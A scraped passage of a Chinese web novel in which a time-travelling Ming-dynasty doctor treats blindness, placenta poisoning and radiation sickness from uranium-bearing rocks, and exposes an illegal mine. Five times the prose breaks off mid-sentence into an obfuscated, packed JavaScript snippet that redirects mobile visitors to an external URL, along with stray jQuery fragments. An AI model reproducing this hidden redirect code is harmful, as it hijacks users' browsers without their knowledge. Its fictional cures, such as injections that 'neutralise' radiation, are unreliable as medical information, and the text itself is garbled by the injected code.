“胀……酸胀……沉得很!”李大福闷哼,脖颈上的肌肉都在跳动。
马淳指尖捻动不停,并非在行气调经,而更像在用一种强力而持续的物理刺激,强行震荡那块区域。
持续了足足半盏茶的工夫!
李大福额头上全是细密的汗珠。
马淳才终于缓缓松劲,将三根金针逐一拔了出来。
“现在……有感觉吗?”马淳紧盯着李
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15946582|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
大福的双眼。
李大福茫然地眨巴着眼,依旧空洞。“没……还是黑……”
就在大家心都沉下去时!
马淳忽然伸出手,在李大福头顶不轻不重地拍了一掌!“啪!”声音清脆。
李大福猛地一哆嗦!
“哎——呦!”一声怪叫从他喉咙里冲了出来!
这叫声并非愤怒,而是充满了……惊奇!
“咋样了哥!”汉子扑到床前。
李大福的眼睛瞬间瞪得滚圆!
那对漆黑的眼珠,在这一刻似乎被注入了难以言喻的生命力,猛地聚焦!
转动了一下!
紧接着,他死死盯着身前一尺之遥的马淳的脸,那原本空洞呆滞的眼神,此刻竟充满了难以言表的狂喜和难以置信的光彩!
“点……点了个豆……点……光……光点!”李大福激动得语无伦次,声音都在劈叉,“俺……俺看见你脸前头……闪了个……闪了个金豆子似的光!就那……那啪的一下!闪过去了!”
“光点?确定看见了?”马淳再次凑近,紧盯着他的瞳孔变化。
“看见了!真看见了!金黄黄一点光!马大夫!俺看见你脑袋前头闪了一下!”李大福像抓住救命稻草,生怕这感觉跑了。
汉子一家人喜极而泣!看见了!看见点了!哪怕只是一个光点!
“夫君,这……”徐妙云又惊又喜地看着马淳,眼神里充满了求知的渴望。
马淳神情也明显松弛下来。
他吐了口气:“呼……好!通道不是全断!是被震得凝滞了!方才强行刺激,又借那一声响动叩击,如同惊雷惊醒沉眠。”
他看向徐妙云,耐心解释道:“此法唤‘醒关启窦’,专用于打通受大外力震伤导致的视觉通路闭阻。针下在要地,力用在实处,辅以惊震之音强行叩震其窍。方才那一道如金豆般的闪光,证明他脑中感知光明之处,已再次被强行唤醒了!”
“但只是开头!”马淳立即给激动的病人和家属泼了盆冷水,“这点光亮就像一根刚拨动了一下的琴弦,稍不注意又沉寂下去!”
……
第168章吃**导致全家**!!
“接下来三日!是生死关头!他必须安卧!一丝风一点急都不能受!”马淳对汉子说得斩钉截铁,“我去配药!一副内服,一副熏眼洗眼!再开外敷腰背之方!此线初醒,极虚弱极敏感!任何外邪风毒、劳累怒气,都足以彻底掐灭这刚复苏的一线生机!”
汉子用力点头:“懂!俺懂!俺们就守着他!哪也不去!啥气都不让他受!”
马淳很快写好几张方子。
徐妙云主动说:“夫君,熏洗的草药我去配吧?想跟你学着认这几味药性。”
“好。”马淳应道,递给她一张方子。
小半个时辰后,药配好。
汉子千恩万谢,小心翼翼搀着能模糊感光、激动得浑身发抖的李大福离开了。
医馆里安静下来。
徐妙云看着桌上配好的药材,轻声道:“夫君,方才那李大哥,背摔一下震到后脑,竟然能把眼睛后头的通路给堵死。真是闻所未闻。若非亲眼见你治了这么一回,我真不敢想。”
马淳倒了杯温水,润了润嗓子:“医道如海。有时病根所在,与喊疼喊病的地方,隔着十万八千里。诊病如破案,细微之处见乾坤。今日之事,你看到了?”
徐妙云用力点点头,眼神清亮:“看到了!看那金光点亮的瞬间……真如拨云见日!”
她停顿片刻,似有所悟:“这般震荡伤脉络……除了眼睛,会不会也有别的经络会这样突然‘失声’?”
她的求知欲被深深激发。
马淳微微一笑:“有。还有很多。你慢慢……”
话未说完,门外又有脚步声传来。
喧闹声骤然撕破宁静。
两匹油光水滑的健马拉着一架青绸马车疯冲至门前,车辕尚未停稳,一个华服小厮便滚爬下来嘶喊:“大夫!救命啊大夫!”
帘子猛被掀开,两个同样衣衫鲜亮的仆役七手八脚从车里往外拖人。
先被拽出的是个须发花白的老者,身量富态,此时却两眼翻白,浑身抽搐,嘴角溢出带着泡沫的白涎。
紧随其后跌出的妇人和两个年轻男子,虽衣着锦绣,却也全无仪态。
妇人捧着肚子蜷缩干呕,两个年轻男子则脸色惨绿,一个捂着喉咙嗬嗬喘气,另一个已瘫软在地抖如筛糠。
小小医馆前庭,瞬间被富户一家子和慌乱仆役挤得水泄不通。
“大夫!快瞧瞧我家太爷!”小厮带着哭腔扑到马淳脚边。
马淳起身,眉头锁紧:“怎么弄的?”
“午、午饭后就这样了!”那小厮语无伦次,“老爷请了好些贵客……都说这、这东西是大补奇珍……可吃了没多久就……”
他猛地想起什么,手忙脚乱从怀里掏出个油纸包。
纸包散开一角,露出里面紫红色、布满密布血管纹路的模糊肉块,一股更浓重的腥膻气扑面冲来。
“**?!”徐妙云惊得站起,目光扫过那块血肉组织,胃里一阵猛烈翻涌。
她急忙捂住嘴,转身扶着廊柱干呕起来。
马淳眼神一凛,立刻上前扶住妻子肩膀,沉声对那小厮斥道:“收起来!拿远些!”
小厮吓得把纸包胡乱塞回怀里。
地上,那富户老者突然剧烈痉挛,发出凄厉嚎叫:“疼死我了……疼啊!”
“爹!”那捂喉喘气的年轻男子挣扎着想扑过去,却身子一软,栽倒在旁呕吐不止。
马淳俯身蹲到那老者身旁,一把扣住其腕脉,脉搏狂乱滑数如脱兔。
他又翻看其眼皮,瞳孔微微散大。
“吃了多少?可还混着吃了其他东西?”他快速问道。
小厮连连磕头:“就、就为主的那一道菜……说是、是最新鲜的法子炮制……混了陈年黄酒……蒸足了时辰……大家抢着尝……”
马淳心中了然。
他抬眼环视痛苦哀嚎的一家人,声音冷得像冰:“大补奇珍?你们当那是仙丹?”
他站起身,眼中带着毫不掩饰的厌弃:“此物腥秽异常,极易腐坏沾染剧毒!炮制火候不到,或是沾染外毒,便是穿肠剧毒!我看你们这,是中了腐毒!”
那仆役闻言脸如死灰:“可……可大家都说……”
“都说?”马淳冷笑一声,“无知者所言,便可拿命去试吗?如今脏
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15952541|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
器受损,热毒攻心,再拖下去你们一家子,便等着一起办丧事吧!”
“救……救命啊!”那缓过点劲的年轻男子挣扎着跪爬过来,涕泪横流,“大夫您行行好!要多少钱都成!救救我爹、救救我们!”
徐妙云看着一地狼藉,强压下恶心,低声道:“夫君……”
马淳沉默片刻,回身看向那男子,一字一句清晰说道:“救,可以。但得照我的规矩。”
那男子连连点头如捣蒜:“好好好!都依您!什么规矩?”
“其一,诊费药费,二百贯现钱。一个子儿不能少,现在就去取来。”马淳朗声道。
周遭仆役都倒吸一口凉气。
二百贯!
那是普通庄户人家几辈子都攒不下的巨财!
那男子也呆了一瞬,随即忙不迭答应:“给!给!管家!快去庄上取钱!快!”
管家连滚爬爬奔了出去。
“其二,”马淳指向地上那痛苦翻滚的老者和其他人,“我施救之时,闲杂人等,一律退到门外。谁若再沾染那股腥气,引动他腹内翻腾吐血,便自求多福!”
仆役们哪里还敢停留,搀扶着尚能行动的妇人青年,连滚带爬逃出医馆门廊,只留那老者一人蜷在地上。
马淳深吸一口气,转身走向自己那存放特殊药剂的药柜。
他从暗格取出几瓶密封的溶液和瓷瓶,“夫人,你到后院去,把门窗关严些,别让气味再冲了你。”
徐妙云点头,依言关了门窗,取了点薄荷油在鼻尖轻嗅,才勉强压下不适。
马淳动作迅速。
他先撬开老者紧咬的牙关,将一种淡黄色的液体缓缓灌下。
“这是解毒散毒之物。”他简短地对远远守着的家眷解释了一句。
接着,又取出一支银管针,刺入老者手臂静脉,推入另一瓶澄清药水,“此剂可强行舒缓脏腑痉挛,缓解剧痛。”
手法干净利落。
药灌下不久,老者那撕心裂肺的嚎叫便渐渐转为粗重的喘息和呻吟。
他不再抽搐乱抓,只是瘫在地上大口喘气,蜡黄的脸上冷汗淋漓……
第169章 明朝出现了‘核辐射\’?
过了约莫一炷**夫,那管家才灰头土脸地抱着沉甸甸一个雕花木盒冲回来,气喘如牛:“二、二百贯!都在这里!足斤足两!”
盒盖一开,里面是满满当当一摞摞光亮的铜钱和几大锭显眼的白银。
马淳瞥了一眼那堆钱财,眼神毫无波动:“抬进来吧。”
他转身写起药方,“外邪虽暂时压下,内里毒损犹深。后续汤药,每日两剂,连服半月。忌荤腥发物,尤其——再碰此等污秽之物!”
仆役们小心翼翼将半昏迷的老者抬上马车。
那付了钱的年轻主事搀扶着母亲上车前,忍不住又回头,脸上带着劫后余生的庆幸和一丝敬畏:“神医大恩大德!吴家必不敢忘!只是……敢问神医,为何吃了那东西就会……”
马淳站在阶前,“你们吃的紫河车,确是人之精元所寄。”
吴家人屏息,那主事眼中竟又掠过一丝奇异的渴望。
“然,”马淳话锋陡转,“此物亦是魂魄归阴所附!血污怨念,缠结其中!妄食生吞,便是引邪秽入体!轻则噬魂,重则索命!
“今日索尔脏腑之痛,便是那不甘离体的怨念反噬!今日我勉强替你们压下了,但附着的怨毒是否根除……”
他故意停顿,目光幽深地掠过每一张惊恐放大的脸,“就看诸位……日后能否积德消业了!”
这话如同腊月冰水,兜头浇下。
那主事脸上的血色瞬间褪得干干净净,“怨……怨毒……”
他浑身筛糠般抖动起来,看都不敢再看马淳的眼睛。
那妇人更是尖叫一声,死死捂住嘴。
仆役们连滚爬爬地爬上车辕,手忙脚乱地挥动鞭子。
马蹄慌乱踏过石板路,载着一车惊魂未定的富贵人,如避蛇蝎般逃离了小村医馆。
马淳默然转身,提了桶井水,泼洒清洗着污迹。
徐妙云走过来,脸色还有些苍白,“你最后那番话……是真吓唬,还是……”
马淳淡淡道:“人心愚昧贪嗔之毒,比那腐坏**之毒更胜百倍。不让他们从骨子里生点‘敬畏’和‘畏惧’,焉知下次,他们会不会尝出更大的乱子来?”
他轻轻拍了拍徐妙云的手背:“二百贯,罚的是他们的蠢。那一顿吓唬……是怕他们不够疼,好了伤疤忘了邪性。”
徐妙云望着丈夫沉静的侧脸,低头抚着小腹,轻轻应道:“嗯。有些人……是该怕一怕的。”
这一日天光刚亮透,医馆门口铜铃就撞出急响。
柴门“砰”地被撞开。
一个黝黑汉子冲进来,背上贴着个孩子。
孩子约摸七八岁,面色苍白。
更扎眼的是他耷拉着的左臂,整条小臂肿得发亮。
颜色却不对,是种瘆人的青紫黑。
孩子爹声音劈了叉:“马大夫!救救我家柱儿!”
他小心把孩子平放在诊床上。
徐妙云端水近前,一看那手臂,倒抽口冷气。
马淳几步过来,皱眉端详。
那手臂不单发黑发紫,皮肉紧绷得像要裂开。
些微光亮下,皮肤下仿佛透出不祥的暗色斑驳。
“怎么回事?几天了?”马淳问,手指极轻地碰了碰孩子冰冷的臂弯。
孩子“嘶”地抽气。
孩子爹姓王,抹着汗:“回大夫的话,快……快十天了!从安庆府那边过来,俺们是安庆府人。”
安庆府?
马淳心念微动。
那可是有名的矿区左近。
“开始什么样?怎么起的?”
“就前些天,也没磕着碰着,”王老黑急道,“忽然就喊疼!小臂上先是起了一片乌点子,接着就肿!几天就肿成这样!黑得吓人!”
他越说越抖:“本地郎中都瞧遍了!药没少吃,膏没少贴,不光没退,眼见着黑气往上臂走了!人都蔫了!”
徐妙云看着孩子虚弱样子,忍不住问:“孩子精神头如何?饭吃得下?”
“吃两口就不愿吃了,老说没劲儿!夜里还哼哼……也说不清哪疼……就是哭。”王老黑眼圈红了。
马淳没说话。
他搭上孩子的手腕,脉搏细弱,跳得又浅又快。
这绝不像普通外伤或疮毒感染。
他拿起随身带的单眼放大镜,凑近细看那块青黑紫的皮肤。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15952542|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
透过镜片,能看到细微的皮肤纹理下,隐隐有点点针尖大小的、暗沉无比的色素沉着。
这色泽太特殊。
不是淤血的乌,更像被什么墨色浸染过骨子里。
马淳心一沉。
“孩子,”他放柔声音,“身上除了这条膀子,可还有别的地儿难受?比如骨头疼?”
柱子迷迷糊糊摇头:“没……就手膀子沉……没力气……”
马淳又轻轻抬起孩子那条胳膊,肿胀的手臂软软垂着。
他小心避开青黑处,试着屈伸肘关节,关节灵活没受限。
马淳心悬起把手放在孩子肩胛骨靠近腋窝下缘处,缓缓向下顺延,指尖感受臂骨轮廓。
肌肉松软,但隔着皮肉,他似乎能触摸到下方骨质的纹理。
不是错觉!
掌下臂骨的质感和温度明显不对!
冰凉!
还透出一种被蛀蚀般的微微“糠”感!
马淳收回手,眼神凝重似冰。
他看向柱子爹:“你们住安庆府什么地方?可是靠近山中矿区?”
王老黑一愣:“大夫您怎么知道?俺们就是住在石滩堡!就在几座大山脚下!那附近有大矿!”
马淳闭了闭眼,心头那点不祥的预感落地了。
明朝。
安庆府。
含矿脉区域。
一条不断恶化、色素沉着、骨损冰凉的手臂。
只能是那东西了。
矿物本身辐射出的无形之毒!
但这结论太惊世骇俗。他沉声对柱子爹说:“你孩子这病,非寻常疮毒。怕是招惹了山中矿里最阴险的毒物。”
“阴险的毒物?”王老黑和柱子娘都傻了。
“此毒无形无味,”马淳一字一句,“它并非蛇蝎喷吐的毒液,而是有些埋在地脉深处的特殊顽石。它们会持续不断地散发出一种肉眼看不见、嗅不到的气息。”
他指了指柱子黑紫肿胀的手臂,“此气入体,不为血肉所察,却专噬骨血精髓。常人沾染久了,轻则皮肉生出恶疮怪斑,骨疼难耐。重则……”
他停顿。
屋里的王家夫妇心都提到嗓子眼。
第170章重则骨枯髓竭!皮肉烂穿!
“重则骨枯髓竭!皮肉烂穿!终是百药罔效!”
这话像锤子砸在柱儿爹娘心上。
柱子娘腿一软,瘫坐在地:“老天爷啊……”
徐妙云虽不懂“无形之气”为何物,但听“噬骨”二字,也觉毛骨悚然。
马淳扶起柱子娘,“万幸你们来得早,此气有强有弱。需先辨其性,方能设法应对。”
马淳看向柱子爹,“柱子出事前,可在某处停留过久?或触碰过什么特别的石头?”
王老黑急得抓耳挠腮:“没……孩子平日就在家跟前玩……也没……啊!等等!”他猛地一拍大腿。“有!有!前些日子,屋后山壁塌了一小块!滚下来几块拳头大的青灰色石头!瞧着挺好看,还隐隐有点透亮!
“柱儿稀罕,就捡了两块揣怀里玩!”
马淳眼中精光一闪。“那几块石头,现在何处?”
王老黑连忙从怀里摸索,掏出个粗布小包:“俺想着是孩子病根子邪乎,是不是冒犯了什么山精石头?就……就悄悄带着了!”
布包打开,里面赫然是几块拳头大、青灰中夹杂着浑浊黄黑斑点的石头。
其中两块还微微透着点绿油油的光。
石头看着平常,但马淳目光一凝。
他示意大家稍退后几步,自己快速走到诊室角落。
放下布帘,心念一动,花了五百积分系统兑换的便携式盖革计数器已在手。
为掩人耳目,外面看只是个复杂些的黄铜盒子。
他掀开布帘一角,只对那布包里的石头按下了检测钮。
嗡……
一阵极轻微蜂鸣从盒内发出。
马淳看向表盘,指针猛地向右甩开!
数字也在跳动,远超环境本底的读数!
果然是它!
强放射性矿藏!
石头的颜色和纹理也印证了。
这是含铀等放射性元素的矿物!
他深吸一口气,收起仪器。
掀帘出来。
众人目光紧盯着他。“就是这东西作祟!”
马淳指着那几块石头。
徐妙云担心地看着布帘后,欲言又止。
马淳解释:“方才我用了件家传的‘验恶石’秘器,它能感应石中散发最剧毒之气的位置。那蜂鸣声便是凶戾之气过盛之兆!”
王老黑惊恐地望着那几块石头,像看什么邪物。
“祸根就是这些石头散发的无形恶气。它们钻进孩子皮肉,附着于骨骼,日夜啃噬,才让骨冷皮黑。若不及时祛毒……”他看向柱子紫黑发亮的胳膊。“毒素深入骨髓,整条手臂怕是……”
柱子爹娘面无人色。
柱子娘哭着问:“神医!那……那还来得及吗?怎么治?”
“有一线生机!”马淳斩钉截铁,“但需双管齐下。”
“第一步,当务之急!需尽快彻底阻断骨中依附之恶气,将其‘封镇’驱除!”
徐妙云不解:“无形之气,如何封镇驱除?”
马淳走向药柜深处,取出一方密封玉盒,小心打开。
里面是几支奇特的琉璃安瓿针剂,“此药是我费尽心力,从上古偏方中化来,能深达骨髓,中和吸附此气。”
他取出一支,对着众人解释:“它注入血脉后,能寻着那恶气侵蚀之径,将散逸破坏之物逐一捕获、包裹、中和,使其失去噬骨害体之力。”
这已是马淳能用古人理解表述放射防护剂的极限。
柱子爹娘似懂非懂,只听到“能驱散那恶气”,眼里燃起希望。
马淳对柱子温和道:“可能会有些胀痛。忍住。”
细细针尖刺入孩子完好的右臂静脉。
暗色药液缓缓推入。
紧接着,马淳又取出温灸用具,在柱子患臂几处大穴和肩胛周围燃起药艾。
“艾火温热,能助气血运转周流,引导药力渗入病灶骨中,逼那恶气离体。”
灸火在几个关键点流转。
时间流逝,一炷香后,柱子紫黑肿胀的手臂边缘,微微渗出些许带着怪异青灰色的细小汗珠。
那汗珠气味独特,带着难以形容的微腥。
孩子紧绷的身体也松泛了些。
“娘……”他小声叫,“膀子里……好像没那么压得慌了……”
柱子爹娘喜极而泣。
药力见效了!
“莫急。”马淳收了灸具。“此药需三日一次,连用数次。方能将渗入骨表之恶气尽数拔除。”
他又写下一张药方。“此为内服之剂。取生黄芪、当归尾重补气血根
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15952543|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
本。辅丹参、水红花子强通血脉之淤阻。再加煅牡蛎、玄参、连翘,清解内里毒火,坚固骨髓阴气。”
王老黑双手接过药方,如获至宝。
马淳严肃嘱咐:“重中之重!”
他指向王老黑怀中那布包,“这三块石头,用多层铁铅密封,深埋地下十丈!永远不可再现天日!还有!”他盯着这对夫妇。“孩子病愈前,不可再回石滩堡老家!那片山水地气已被恶石所污,住不得了!”
柱子爹傻眼了:“那……那俺们往后……”
“暂且在此地寻个清净处落脚。”马淳道,“孩子体内恶气需半年时日慢慢化解。此地清静,便于调养。”
王老黑看着孩子那条依旧青紫可怖,但似乎死气少了一分的手臂,咬牙点头:“只要能救柱儿的命!俺什么都听您的!谢谢神医!俺给您磕头了!”
“起来。”马淳扶住他,“好生照料孩子。五日后带来复诊。”
送走了千恩万谢的一家人。
徐妙云走到马淳身边。“夫君,”她轻声问,眼里仍有困惑,“那无形恶气……真有如此可怕?既能藏于石中伤人骨血?”
“有。”马淳望着院外远山。“天地生万物,生克本平衡。越是蕴藏巨大能量或珍贵矿藏的所在,往往也伴随着自然诞生的无形凶险。”
他拉住妻子的手。“那安庆府山中的顽石矿藏,便是天地间一类至阳至刚亦至阴之物所聚。它们看似静默,却日夜散发无形之力。人若长久置身其间,或被其精华所照日久……”
他摇摇头。“骨肉消融尚可察。最怕的是无形中败坏精血,引动脏腑病变,或于无声无息间,令子孙血脉根基动摇……”
徐妙云下意识抚上小腹,目光惊悸。
马淳拍拍她的手:“无需担忧。远离源头,加以适当药物导引,可避此祸。”
他叹口气。“只可怜那石滩堡的百姓……”
话未落音,医馆门又被推开,一个身穿不起眼灰布衣裳的瘦高汉子走进来。
神色平静,目光却极锐利。
开口便问:“敢问马大夫,方才那安庆府石滩堡来的病童,您诊断为何症?”
马淳和徐妙云对视一眼,来者不像普通村民……
第171章老朱:一个狗大户谁给他的狗胆?
他语带试探,暗藏刀锋。
马淳抬眼打量,此人气息沉稳,不像乡农愚夫。
心头警铃大作,此人定非善类,恐为矿主爪牙。
马淳不动声色,侧身低声向徐妙云。“夫人,你先进去歇着。”
徐妙云颔首,抚腹缓步退入内室。
她早知马淳担忧安危。
马淳眼神一凛,暗自提防。
他袖中微动,已备传讯锦衣卫。
汉子未察异样,从袖中取出一吊铜钱,丢在案上。
铜钱哗啦作响,滚出刺耳声,“这算小意思。”
他冷笑着逼近马淳一步,“安安稳稳当你的乡下郎中,莫管闲事。那些不该打听的事,就烂在肚子里。”
马淳面色如常,嘴角微扬。
“哦?什么是不该打听的?”他反问。
汉子嗤鼻哼气,“石滩堡那些事,少问为妙。”
话锋陡转,阴冷盯着马淳,“看你媳妇挺大肚子吧?为了她跟肚子里的娃子,乖乖闭嘴。”
这句彻底点燃**。
马淳最恨人拿亲人要挟,他瞬间暴怒,眼神凶光毕露,“混账!陶千户!拿下他!”
吼声穿透门户。
汉子骇然变色,僵在原地,“你……你是何人?”
话音未落,门板砰然撞开。
十名锦衣卫如虎狼涌入,为首正是陶千户,一脸厉色,“遵命!”
众人扑向汉子,拳脚密集如雨点,汉子惨嚎连连。
几个锦衣卫一开始就看这家伙不像好人,只是碍于国公爷没有传唤。
现在国公爷都说拿下,那自然不会跟他客气。
砂锅大的拳头不要钱似的往这小子身上招呼。
转瞬间这小子就被打得哪哪都疼。
他被摁翻在地,鼻青脸肿,齿血飞溅,“饶命!饶命啊!”
锦衣卫捆缚死紧,汉子才瘫在地上咳血。
马淳蹲身俯视,面色冰冷。“说,谁派你来的?”
汉子哆嗦着,眼珠瞪圆。“大人饶命……我、我是安庆府李矿主家管事……”
他终于崩溃结舌,“矿是盗采的……怕那病童一家泄露风声……”
难怪!
刚才马淳就猜测,那带有辐射性的矿石一般都深埋地下,轻易不会暴露于外,柱子怎么可能轻易捡到。
说不定就是这帮人盗采矿石在运输过程掉下的。
灰衣汉子涕泗横流,马淳冷眼起身。
陶千户低问:“国公爷,如何处置?”
灰衣汉子蜷缩如狗,绳索勒得他皮开肉绽。
锦衣卫退立两旁,静候指令。
陶千户踏步上前,“那矿主姓李名贵,安庆府豪强?”
汉子浑身剧颤。“是……是李贵老爷……”
马淳问:“是什么来路?”
陶千户道:“据说在鞑元时这家人就在安庆府一带采矿,到了本朝,矿脉开采之权收归朝廷,轻易不会下放采矿照,说不定李家还在偷摸采。这可是个大案子。”
汉子求饶,“老爷只命我……吓唬病患封口……小的可没做伤天害理的事啊!”
马淳转身蹲下,逼视对方眼睛。“盗采矿石多久了?”
“半年有余……”汉子不敢对视。“石滩堡山里有铜矿……朝廷禁采……李老爷偷偷挖……”
这就对上了,本身铜矿石不会有那么强的辐射的,但架不住矿体中局部伴生铀、钍等放射性矿物,或或矿洞内氡气积累产生的辐射。
想到此,他越发愤怒,“那柱子童子的手骨病变,便是辐射之毒作祟!你们却想灭口?”
汉子磕头如捣蒜,“小人不知毒祸如此……只奉命行事……”
陶千户抽出腰牌,冷声插话。“李贵盗矿瞒报,按律当斩。”
汉子抖如筛糠。“小人愿招……矿洞在西山坳……护卫三十余人……”
马淳转向留在厅内的陶千户和另外几名锦衣卫,“此獠供出的线索,尤其是那矿洞所在、护卫人数,务必详尽记录,不得遗漏。”
“是!”陶千户肃然应道。
一名精干的总旗立刻拿出纸笔,准备记录。
马淳的眉头紧锁。,“石滩堡周遭百姓,常年受这‘无形恶气’侵扰。那矿坑,便是恶气之源!”
他看向陶千户,“此事非同小可。私开铜矿,已犯国法。其矿毒更贻害无穷,伤及无辜稚童,祸延乡邻。你即刻将此事原委上报陛下!”
“要着重禀明三点:其一,李家私盗铜矿,已有半年;其二,矿脉所生‘噬骨毒气’已然为祸百姓,柱儿病体可为明证;其三,贼人猖獗,竟敢遣人来此威逼恐吓,图谋灭口!”
陶千户神情一凛。
他深知此事牵涉私采铜矿的敏感,更兼毒气害民,以及威胁到国公爷这等勋贵的恶性。
桩桩件件,皆触陛下逆鳞。
“末将明白!即刻办理!
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15952544|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”陶千户不敢有丝毫耽搁。
他转身疾步走出医馆,亲自去安排那十万火急的密奏。
……
紫禁城,奉天殿偏殿。
“私!采!铜!矿!”老朱的声音像是从牙缝里挤出来。
他抬起头,目光扫过垂手侍立在前的锦衣卫都指挥使蒋瓛。
“还**是在老子眼皮子底下的安庆府!”
“还开采了半年?!半年啊!”
朱元璋的胸膛剧烈起伏了一下。
“查!给咱查得清清楚楚!”他猛地一拍扶手。“李家?李贵?一个狗大户,谁给他的狗胆?!”
“陛下息怒。”蒋瓛腰弯得更低,“马国公奏报中提及,矿脉伴生剧毒奇石,已致乡民病倒,其中一稚童手臂紫黑肿胀,骨损严重……”
“咱看见了!”朱元璋打断他,“为了那铜矿里的几个臭钱,就不拿老百姓的命当命?!”
他指着那密奏,“这毒石害人,连国公都要动用奇药方能救治!若流入市井,其祸之大……”
老朱不敢深想。
“铜矿!他李家挖这铜,是打算做什么?是打些镯子簪子自己戴?”朱元璋满脸狰狞,“还是胆子更肥点,给咱,也打点钱花花?”
蒋瓛头皮一炸。
私铸铜钱!
这是陛下逆鳞中的逆鳞!
无论李贵初衷如何,只要私矿存在,沾染“铜”字,就足以触及这最敏感的神经。
更何况,已造成如此严重的民生祸害。
“陛下圣明!”蒋瓛的声音几乎干涩,“李家罪孽滔天!天理不容!”
“哼!”朱元璋重重哼了一声。
“蒋瓛!”
“臣在!”
“一,”朱元璋竖起一根手指,“立刻点齐精干缇骑,火速前往安庆府石滩堡。着锦衣卫秘查铁证。凡有涉私矿者,无论主从,给咱锁拿进京!那李家,给咱抄干净!一只苍蝇也不准飞走!”
“二,”他又竖起第二根手指。“命工部、刑部、太医院各选一名主事官,携带精通矿物医道之人随行,查实那毒石真相,务必将矿毒之害控制、清除!绝不能再祸害一方百姓!”
“三,”朱元璋的声音冰冷透骨。,“另派御史,查!安!庆!府!给咱查清楚,地方官是眼睛瞎了,还是心瞎了!若有同流合污者,严惩不贷!”
“是!臣领旨!即刻去办!”蒋瓛抱拳。
……
第172章炭疽病毒!不截肢得死!
安庆府传来消息,李家满门抄斩,连带一个县令掉了脑袋。
马淳都愣住了,他压根没想到,就因那孩子手臂发黑一事,竟能引发如此滔天血案。
不过说到底还是那个大户自己找死,在老朱这样的铁血皇帝的眼皮子底下还敢私自挖矿。
医馆重归平静。
直到一个汉子被家人搀扶着闯入。
“哎哟……疼……大夫,我手指头疼得钻心!”汉子举着右手,脸皱成一团。
身边跟着他媳妇和老娘,三人脸上倒不怎么紧张。
“我男人就是前天上山砍柴,不知道被啥小虫子咬了口,”他媳妇解释,“两天了,又红又肿,今儿一早疼得厉害些。”
她语气轻松:“乡下人皮实,估摸抹点药膏就好。”
徐辉祖、徐增寿和驸马傅忠正好在厅里坐着闲谈。
这三人赋闲在京,偶尔跑来江宁马淳这儿串门喝茶。
看见是个手指肿痛的急症,都围上来看热闹。
马淳托起汉子那根粗壮的食指。
指甲缝边缘,的确有一点小小的破口,周围皮肤红肿得发亮。
徐辉祖他们看了之后也都觉得不过是一个小破口子,不是什么大病。
可马淳的眉头却一点点锁紧。
那红肿深处,隐隐透着一点不祥的黑!
不是淤血的暗红,是那种**发烂、带着死气的黑晕,正悄悄向指根侵蚀。
汉子感觉马大夫捏着他手指的力道不对了。
他抬起眼皮,只见马淳脸色凝重得吓人。
“你这手……”马淳声音低沉下去,“怕不是普通虫咬肿痛。”
汉子娘抢着道:“马神医,俺儿子身体壮得很,这点……”
“立刻截去这根手指!”
“……”
医馆里瞬间死寂。
徐辉祖刚端起茶碗的手停在半空。
傅忠张着嘴。
徐增寿最沉不住气,脱口而出:“姐夫!你别吓唬人啊?就一根手指肿了,要剁了?”
汉子和他家人全懵了。
汉子猛地想抽回手,却被马淳稳稳攥住。
“这不是玩笑!”马淳眼神很凝重,“更不是吓唬!”
他目光扫过惊疑不定的徐辉祖三人。
